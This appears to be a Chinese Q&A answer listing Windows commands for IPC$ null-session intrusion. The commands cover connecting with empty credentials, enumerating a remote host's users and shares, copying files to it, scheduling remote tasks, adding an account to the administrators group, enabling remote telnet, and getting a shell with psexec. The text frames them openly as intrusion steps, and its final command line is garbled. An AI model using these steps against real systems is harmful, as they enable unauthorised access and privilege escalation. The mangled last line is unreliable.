空连接shell 才能完成的命令

Answer 1

空连接shell才能完成的命令总结如下：

1. 建立和激活远程主机用户、修改密码、加入管理组的操作需在shell下完成。

2. 打开远程主机的ipc$共享，运行/关闭服务，启动/杀掉进程需在shell下执行（软件情况下除外）。

入侵中常用命令：

建立/删除ipc$连接：net use \\127.0.0.1\ipc$ "" /user:"" 或net use \\127.0.0.1\ipc$ "密码" /user:"用户名"

查看远程主机共享资源：net view \\127.0.0.1

查看远程主机时间：net time \\127.0.0.1

得到远程主机netbios用户名列表：nbtstat -A 127.0.0.1

映射/删除远程共享：net use z: \\127.0.0.1\c

复制文件：copy路径\文件名 \\IP\共享目录名

远程添加计划任务：at \\IP 时间 程序名

本地命令：

查看本地主机共享资源：net share

得到本地主机用户列表：net user

显示本地某用户帐户信息：net user 帐户名

显示本地主机启动的服务：net start

启动/关闭本地服务：net start 服务名 net stop 服务名

在本地添加帐户：net user 帐户名 密码 /add

激活禁用的用户：net user 帐户名 /active:yes

加入管理员组：net localgroup administrators 帐户名 /add

本地命令执行远程操作：输入命令后作用于远程主机。

其他命令：

telnet：telnet IP 端口

使用opentelnet.exe开启远程主机的telnet：OpenTelnet.exe \\ip 管理员帐号 密码 NTLM的认证方式 port

使用psexec.exe一步获得shell：psexec.exe \\IP -u 管理员帐号 -p 密码 cmd

对比过去和现今的ipc$入侵步骤，现今方法更为高效简单。

扩展资料

使用命令 net use url=file://\\IP\ipc$\\IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接（需要目标开放ipc$）。